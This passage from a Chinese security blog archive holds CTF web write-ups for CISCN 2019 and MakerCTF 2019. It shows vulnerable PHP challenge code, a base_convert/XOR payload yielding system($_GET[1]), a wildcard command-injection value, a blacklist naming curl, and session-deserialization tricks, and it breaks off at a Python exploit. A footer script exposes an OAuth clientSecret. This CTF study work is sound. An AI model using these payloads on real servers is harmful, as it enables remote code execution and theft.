\u003cspan class=\"string\"\u003e\u0026#39;cos\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;cosh\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;decbin\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;dechex\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;decoct\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;deg2rad\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;exp\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;expm1\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;floor\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;fmod\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;getrandmax\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;hexdec\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;hypot\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;is_finite\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;is_infinite\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;is_nan\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;lcg_value\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;log10\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;log1p\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;log\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;max\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;min\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;mt_getrandmax\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;mt_rand\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;mt_srand\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;octdec\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;pi\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;pow\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;rad2deg\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;rand\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;round\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;sin\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;sinh\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;sqrt\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;srand\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;tan\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;tanh\u0026#39;\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e preg_match_all(\u003cspan class=\"string\"\u003e\u0026#39;/[a-zA-Z_\\x7f-\\xff][a-zA-Z_0-9\\x7f-\\xff]*/\u0026#39;\u003c/span\u003e, \u003cspan class=\"variable\"\u003e$content\u003c/span\u003e, \u003cspan class=\"variable\"\u003e$used_funcs\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$used_funcs\u003c/span\u003e[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e \u003cspan class=\"variable\"\u003e$func\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!in_array(\u003cspan class=\"variable\"\u003e$func\u003c/span\u003e, \u003cspan class=\"variable\"\u003e$whitelist\u003c/span\u003e)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;请不要输入奇奇怪怪的函数\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//帮你算出答案\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;echo \u0026#39;\u003c/span\u003e.\u003cspan class=\"variable\"\u003e$content\u003c/span\u003e.\u003cspan class=\"string\"\u003e\u0026#39;;\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003cp\u003e观察发现如下限制:\u003c/p\u003e\u003col\u003e\u003cli\u003epayload长度不可超过80\u003c/li\u003e\u003cli\u003e可以执行任何数学函数\u003c/li\u003e\u003cli\u003e有部分字符不可用( \u003ccode\u003e$blacklist\u003c/code\u003e )\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e由于80这个长度太短, 所以后期应当是通过取其它位置的可控输入点进行执行和输出\u003cbr/\u003e应当取能够返回字符串的数学函数, 加以拼接得到期望值\u003cbr/\u003e题目过滤了所有除数学函数名意外的英文字符, 所以应当利用纯数字构造payload\u003c/p\u003e\u003cp\u003e观察数学函数的输入输出, 发现涉及到不同进制的数学函数能够返回字符串。\u003cbr/\u003e其中利用base_convert能获取更大的字符集, 但也更长\u003cbr/\u003e原型:\u003ccode\u003ebase_convert(number,frombase,tobase)\u003c/code\u003e\u003cbr/\u003e可以将字符串转为10进制或其它能够组成纯数字的进制来控制输入\u003c/p\u003e\u003cp\u003e验证: \u003ccode\u003eurl:/calc.php?c=base_convert(55490343972,10,36)()\u003c/code\u003e\u003cbr/\u003e可以执行phpinfo\u003c/p\u003e\u003cp\u003e比赛时受师傅的引导,将echo file_get_contents缩短为readfile,成功获得了flag\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2019/04/22/Security/Writeup/CISCN%202019/SlwlDOA.png\" class=\"\" title=\"meme\"/\u003e\u003cp\u003e其实应该是可以RCE的\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003ephp \u0026gt; \u003ccode\u003eecho base_convert(\u0026#39;system\u0026#39;, 36, 10);\u003c/code\u003e\u003cbr/\u003e1751504350\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e考虑到进制转换只能转出小写字母, 此处利用php能将字符串互相异或的行为, 能够将多个16进制串进行异或得到大写字母。\u003cbr/\u003e于是目的是:将两个\u003ccode\u003e[a-z0-9]*\u003c/code\u003e字符串异或得到\u003ccode\u003e_GET\u003c/code\u003e,利用\u003ccode\u003e_GET{param}\u003c/code\u003e获取到另一参数中引入的更长字串\u003cbr/\u003e进行fuzz, fuzz代码:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$table\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026#34;0123456789abcdefghijklmnopqrstuvwxyz\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$i\u003c/span\u003e = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$i\u003c/span\u003e \u0026lt; \u003cspan class=\"number\"\u003e36\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$i\u003c/span\u003e++){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$j\u003c/span\u003e = \u003cspan class=\"variable\"\u003e$i\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$j\u003c/span\u003e \u0026lt; \u003cspan class=\"number\"\u003e36\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$j\u003c/span\u003e++){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"variable\"\u003e$table\u003c/span\u003e[\u003cspan class=\"variable\"\u003e$i\u003c/span\u003e]^\u003cspan class=\"variable\"\u003e$table\u003c/span\u003e[\u003cspan class=\"variable\"\u003e$j\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"variable\"\u003e$table\u003c/span\u003e[\u003cspan class=\"variable\"\u003e$i\u003c/span\u003e].\u003cspan class=\"string\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e.\u003cspan class=\"variable\"\u003e$table\u003c/span\u003e[\u003cspan class=\"variable\"\u003e$j\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\\n\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// php test.php| strings | grep \u0026#34;_\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// php test.php| strings | grep \u0026#34;G\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// php test.php| strings | grep \u0026#34;E\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// php test.php| strings | grep \u0026#34;T\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e得到\u003ccode\u003e\u0026#34;1000\u0026#34;^\u0026#34;nwud\u0026#34; == \u0026#34;_GET\u0026#34;\u003c/code\u003e\u003cbr/\u003e所以能够构造出一句话payload:\u003cbr/\u003e\u003ccode\u003ebase_convert(1751504350,28,10)(${decoct(512)^base_convert(862402,10,33)}{1})\u003c/code\u003e\u003cbr/\u003e即\u003ccode\u003esystem($_GET[1])\u003c/code\u003e\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2019/04/22/Security/Writeup/CISCN%202019/"},{"title":"MakerCTF 2019 部分Web题目 Writeup","time":"2019-04-14T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Pineapple\"\u003ePineapple\u003c/h2\u003e\u003cp\u003e通过扫描可以发现存在git源码泄露,进一步发现index.php中存在反序列化点:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$info\u003c/span\u003e = @\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;info\u0026#39;\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$lyric\u003c/span\u003e = @\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;lyric\u0026#39;\u003c/span\u003e]; \u003cspan class=\"comment\"\u003e// php://input\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$lyric\u003c/span\u003e)\u0026amp;\u0026amp;(@file_get_contents(\u003cspan class=\"variable\"\u003e$lyric\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#39;r\u0026#39;\u003c/span\u003e)===\u003cspan class=\"string\"\u003e\u0026#34;I want to eat pineapple\u0026#34;\u003c/span\u003e)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e unserialize(\u003cspan class=\"variable\"\u003e$info\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e及工具类Blog:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eBlog\u003c/span\u003e\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"variable\"\u003e$file\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;Music\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__destruct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$blacklist\u003c/span\u003e = [\u003cspan class=\"string\"\u003e\u0026#34;\\\u0026#34;\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;ls\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;curl\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;-\u0026#34;\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// PATH中存在的文件名基本都ban了\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$blacklist\u003c/span\u003e \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e \u003cspan class=\"variable\"\u003e$key\u003c/span\u003e =\u0026gt; \u003cspan class=\"variable\"\u003e$value\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(stripos(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;file,\u003cspan class=\"variable\"\u003e$value\u003c/span\u003e)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Attack!\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e system(\u003cspan class=\"string\"\u003e\u0026#34;php ./templates/\u003cspan class=\"subst\"\u003e$this\u003c/span\u003e-\u0026gt;file.php\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e且提示了flag存在于templates/Secrets.php文件中\u003cbr/\u003e显而易见,Blog类system函数的调用中存在命令拼接,而shell中的通配符可以帮助我们绕过waf\u003cbr/\u003e所以令 \u003ccode\u003eBlog-\u0026gt;file = \u0026#34;;/???/???\\t./templates/Secrets\u0026#34;;\u003c/code\u003e 即可\u003c/p\u003e\u003ch2 id=\"Regex-and-PHP-are-the-best\"\u003eRegex and PHP are the best\u003c/h2\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;;\u0026#39;\u003c/span\u003e === preg_replace(\u003cspan class=\"string\"\u003e\u0026#39;/[^\\W]+\\((?R)?\\)/\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e, \u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;code\u0026#39;\u003c/span\u003e])) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;code\u0026#39;\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e show_source(\u003cspan class=\"keyword\"\u003e__FILE__\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e网上能搜到原题,此处总结一下各种可能能利用的函数\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003ccode\u003egetallheaders()\u003c/code\u003e (在5.5.7之前只存在于apache php模块中)\u003c/li\u003e\u003cli\u003e\u003ccode\u003eget_defined_vars()\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003esession_id(session_start())\u003c/code\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e还存在一个比较刁钻的payload:\u003cbr/\u003e\u003ccode\u003ereadfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))))\u003c/code\u003e\u003c/p\u003e\u003ch2 id=\"can-u-see-the-flag\"\u003ecan u see the flag\u003c/h2\u003e\u003cp\u003e首先通过extract变量覆盖读phpinfo:\u003ccode\u003efunc=extract\u0026amp;func_0=phpinfo\u003c/code\u003e\u003cbr/\u003e可以发现php版本为7.0.33\u003c/p\u003e\u003cp\u003e回到变量覆盖,发现实际上无法直接进行反序列化,遂回到phpinfo继续寻找突破口\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e其实此时可以通过fuzz找出可以接收一个数组作为参数的函数发现session反序列化\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight ini\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003esession.serialize_handler\u003c/span\u003e = php_serialize\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003esession.upload_progress.enabled\u003c/span\u003e = \u003cspan class=\"literal\"\u003eOn\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003esession.upload_progress.cleanup\u003c/span\u003e = \u003cspan class=\"literal\"\u003eOff\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e可以发现上述配置项允许我们通过session注入进行反序列化\u003cbr/\u003e再次回到变量覆盖,将\u003ccode\u003efunc_0\u003c/code\u003e覆盖为\u003ccode\u003esession_start\u003c/code\u003e。\u003cbr/\u003e此时,要进行反序列化还需要更改\u003ccode\u003eserialize_handler\u003c/code\u003e,观察php文档发现session_start可以接受一个\u003ccode\u003e$opts\u003c/code\u003e参数更改session相关配置。之后就是烦人的套娃了\u003c/p\u003e\u003cp\u003e所以第一关的exploit如下:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan 